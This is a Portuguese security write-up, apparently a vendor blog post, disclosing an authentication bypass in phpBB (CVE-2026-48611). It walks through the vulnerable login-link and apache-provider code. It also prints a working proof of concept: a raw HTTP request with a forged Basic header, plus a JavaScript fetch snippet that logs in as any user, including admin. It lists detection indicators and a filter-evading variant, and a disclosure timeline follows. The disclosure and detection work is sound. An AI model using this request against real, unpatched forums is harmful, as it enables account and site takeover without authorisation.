Contornamento da autenticação na configuração predefinida do phpBB

No dia 10 de junho, anunciámos uma vulnerabilidade crítica no phpBB que permite aos atacantes contornar a autenticação, agora conhecida como CVE-2026-48611. Esta publicação é um seguimento, contendo detalhes técnicos que explicam os cenários de exploração e os métodos de deteção.

Para que fique a par da situação, o phpBB é um software de fóruns antigo que ainda hoje é utilizado por várias comunidades técnicas. Só a secção «Site Showcase» do phpBB conta com mais de 6 milhões de membros. Embora tenha havido alguns ataques notórios no passado, como o worm «Santy» em 2004, atualmente não têm tido muitos problemas com vulnerabilidades. Esta divulgação rompe essa tendência.

Enquanto fazíamos investigação para melhorar o nosso produto de testes de penetração com IA, os agentes Aikido alertaram-nos para uma «falha crítica de contornamento da autenticação» no phpBB. No início, ficámos um pouco céticos. Certamente que se tratava de algum erro de configuração ou de um caso excecional em que tivéssemos cometido algum erro na configuração. Mas nada poderia estar mais longe da verdade.

A vulnerabilidade detetada funciona na configuração predefinida, exigindo apenas um único pedido não autenticado para iniciar sessão na totalidade em qualquer conta arbitrária. Iniciar sessão numa conta de administrador pode permitir-lhe assumir o controlo de todo o fórum!

Depois de nos apercebermos disso, comunicámos imediatamente a vulnerabilidade no HackerOne e recebemos a confirmação de que tinha sido avaliada em menos de 9 minutos!

Quatro dias depois, foi lançada uma correção na versão 3.3.17 que resolve a vulnerabilidade. Se gere um fórum phpBB, atualize para esta versão o mais rapidamente possível, caso ainda não o tenha feito.

Vamos agora analisar quais as partes do código que estavam vulneráveis e como é que foi possível explorá-las. Spoiler: não se trata de uma exploração incrivelmente complicada como se poderia esperar…

Contornar a autenticação

Tudo isto está relacionado com o funcionamento exato do procedimento de início de sessão no phpBB. Não se trata do fluxo principal de início de sessão, mas sim, especificamente, da funcionalidade «login-link». Ao ligar-se a serviços externos como o OAuth do Google ou do GitHub, esta funcionalidade serve para associar a conta a uma conta já existente na instância do phpBB ou para registar uma nova.

Se optar por associá-la a uma conta já existente, ser-lhe-á pedido que inicie sessão na sua conta com o mode=login_link parâmetro de consulta. Ao enviar este parâmetro, a conta OAuth será associada após o início de sessão.

A chamada de retorno é tratada por ucp_login_link.php e procura primeiro login_link_* dados como parâmetros de consulta, que não podem estar vazios. Estes são extraídos aqui:

class ucp_login_link {
    function main($id, $mode) {
        ...
        $data = $this->get_login_link_data_array();
        if (empty($data)) {
            $login_link_error = $user->lang['LOGIN_LINK_NO_DATA_PROVIDED'];
        }
        ...
    }
}

protected function get_login_link_data_array() {
    ...
    foreach ($var_names as $var_name) {
        if (strpos($var_name, 'login_link_') === 0) {
            $key_name = substr($var_name, $string_start_length);
            $login_link_data[$key_name] = $request->variable($var_name, '', false, \phpbb\request\request_interface::GET);
        }
    }

Felizmente, é fácil contornar isto adicionando alguns dados fictícios, como login_link_aikido=1. Isso faz com que o $data não está vazio e podemos continuar com o fluxo.

Mais adiante no código, começamos a notar algo peculiar. Temos controlo sobre o auth_provider parâmetro de consulta:

// Utilizar o «auth_provider» solicitado, mesmo que seja diferente do configurado
$provider_collection = $phpbb_container->get('auth.provider_collection');
$auth_provider = $provider_collection->get_provider($request->variable('auth_provider', ''));

Normalmente, o valor é definido apenas para oauth, mas podemos controlá-lo totalmente. O objetivo é indicar ao servidor phpBB qual o provedor que deve ser utilizado para verificar a autenticação, por exemplo, se tiver configuradas tanto uma base de dados local como a autenticação OAuth. Mas o que acontece quando introduzimos outros valores?

O phpBB define todas estas como classes em phpbb/auth/provider. Há um que se chama apache.php isso é muito simples, um pouco também simples:

class apache extends base {
    public function login($username, $password) {
        $php_auth_user = html_entity_decode($this->request->server('PHP_AUTH_USER'), ENT_COMPAT);
        $php_auth_pw = html_entity_decode($this->request->server('PHP_AUTH_PW'), ENT_COMPAT);

        if (!empty($php_auth_user) && !empty($php_auth_pw)) {
            // Basic auth username must match submitted username
            if ($php_auth_user !== $username) {
                return array('status' => LOGIN_ERROR_USERNAME, ...);
            }

            // Look up user in database
            $sql = 'SELECT user_id, username, user_password, user_passchg, user_email, user_type
                FROM ' . USERS_TABLE . "
                WHERE username = '" . $this->db->sql_escape($php_auth_user) . "'";
            $result = $this->db->sql_query($sql);
            $row = $this->db->sql_fetchrow($result);
            $this->db->sql_freeresult($result);

            if ($row) {
                // User inactive
                if ($row['user_type'] == USER_INACTIVE || $row['user_type'] == USER_IGNORE) {
                    return array('status' => LOGIN_ERROR_ACTIVE, ...);
                }

                // Successful login
                return array('status' => LOGIN_SUCCESS, ...);
            }

Verifica se o nome de utilizador enviado corresponde PHP_AUTH_USER (decodificado Básico (nome de utilizador de autenticação), procura o utilizador e, em seguida, limita-se a devolver LOGIN_SUCCESS. Mas falta uma coisa: a verificação da palavra-passe!

Parabéns, acabou de descobrir uma falha crítica de contorno de autenticação no phpBB! Ao escolher um fornecedor inesperado como apache, podemos ignorar a palavra-passe e iniciar sessão como qualquer utilizador.

Agora, para esclarecer qualquer confusão, os responsáveis pela manutenção não se «esqueceram» simplesmente de adicionar uma verificação da palavra-passe aqui. O funcionalidade pretendida do apache O fornecedor parte do princípio de que a autenticação é gerida pelo proxy Apache com .htpasswd, e todos os pedidos têm de passar por ele primeiro. Nesse caso, o phpBB limita-se a confiar no nome de utilizador que aparece no cabeçalho de autenticação básica.

O que fizemos aqui foi ativar o apache servidor sem que seja necessário configurar o Apache, através de uma funcionalidade concebida exclusivamente para oauth. Neste caso, o cliente torna-se diretamente o «proxy de confiança» e podemos enviar qualquer nome de utilizador que ele desejar.

Assim, podemos enviar um pedido que acione o fluxo do link de início de sessão com dados válidos e um nome de utilizador à nossa escolha, mas definir o manipulador para apache para ignorar a verificação da palavra-passe. Os nomes de utilizador não são difíceis de encontrar em instâncias do phpBB, o que facilita o início de sessão como administrador ou moderador.

Tudo isto funciona na configuração predefinida do phpBB, o que torna a situação ainda mais perigosa

Prova de conceito

Não é difícil reproduzir esta vulnerabilidade. Em qualquer instância local do phpBB, o seguinte pedido HTTP revela uma forma de contornar a segurança para iniciar sessão no administrador utilizador (codificado em Base64 no Autorização: cabeçalho do tipo admin:x para YWRtaW46eA==).

POST /ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1 HTTP/1.1
Host: phpbb.local
Content-Length: 49
Autorização: Basic YWRtaW46eA==
Tipo de Conteúdo: application/x-www-form-urlencoded

login_username=admin&login_password=x&login=Iniciar sessão

Uma resposta bem-sucedida define os cookies e redireciona para a página inicial. O atacante fica então com acesso total à conta visada.

HTTP/1.1 302 Encontrado
Servidor: Apache/2.4.67 (Debian)
X-Powered-By: PHP/8.2.31
Set-Cookie: phpbb_f4xf4_u=1; caminho=/; domínio=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_k=; caminho=/; domínio=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_sid=4c512fa6d44b00f3fe760603e7a84257; path=/; domain=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_u=2; caminho=/; domínio=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_k=; caminho=/; domínio=phpbb.local; HttpOnly
Set-Cookie: phpbb_f4xf4_sid=5e331defa66c2fc6db386f7c9abd0c55; caminho=/; domínio=phpbb.local; HttpOnly
Location: http://phpbb.local/index.php/
Content-Length: 0
Content-Type: text/html; charset=UTF-8

Para gerar o pedido acima, o código JavaScript seguinte pode ser executado na Consola do DevTools de qualquer instância:

const TARGET_USER = "admin";
await fetch('/ucp.php?mode=login_link&auth_provider=apache&login_link_aikido=1', {
  method: "POST",
  headers: {
    Authorization: `Basic ${btoa(TARGET_USER + ":x")}`
  },
  body: new URLSearchParams({login_username: TARGET_USER, login_password: "x", login: "Login"})
});

Ao recarregar a página da Web posteriormente, verifica-se que o atacante está com sessão iniciada na conta visada:

Indicadores de comprometimento

Verifique os registos de pedidos para ver se existem pedidos POST que tenham auth_provider=apache e mode=login_link parâmetros de consulta em conjunto. Esta é a forma de exploração mais comum. Veja o exemplo de pedido acima.

No entanto, é importante ter em conta que, uma vez que o phpBB também lê ambos os parâmetros do corpo da solicitação POST, esses parâmetros têm prioridade sobre os parâmetros GET. Uma solicitação de contorno do filtro pode, assim, parecer uma solicitação normal mode=login, enquanto está realmente a atuar mode=login_link no corpo. login_link_* continua a ser um parâmetro de consulta obrigatório, pelo que pode ser utilizado como indicador de um pedido suspeito, para posterior análise manual. Pode ter o seguinte aspeto:

POST /ucp.php?mode=login&login_link_ANYTHING=1 HTTP/1.1
Host: phpbb.local
Comprimento do conteúdo: 86
Tipo de conteúdo: application/x-www-form-urlencoded
Autorização: Basic YWRtaW46eA==

login_username=admin&login_password=x&mode=login_link&auth_provider=apache&login=Iniciar sessão

É este tipo de coisas que Aikido deteta numa análise normal. Ele procura formas de contornar a autenticação, vulnerabilidades IDOR e falhas lógicas tal como um verdadeiro atacante faria, e depois valida cada uma delas para que só veja o que é realmente explorável. Aplique-o às suas próprias aplicações e proteja-as rapidamente.

Cronograma

• 2 de junho de 2026, 20:22 – Envio de relatório para o programa VDP dhttps://hackerone.com/phpbb
• 2 de junho de 2026, 20:31 – A denúncia foi analisada pela equipa do phpBB (é isso mesmo, em 9 minutos!)
• 6 de junho de 2026, 16h26 – Lançamento da versão 3.3.17 com um patch
• 10 de junho de 2026, 12h33 – Publicamos um comunicado inicial para alertar os utilizadores
• 10 de junho de 2026, 19:33 – Os responsáveis pela manutenção do phpBB pedem-nos para aguardar 4 semanas antes de publicarmos detalhes técnicos
• 3 de julho de 2026, 2h45 – Este artigo técnico é publicado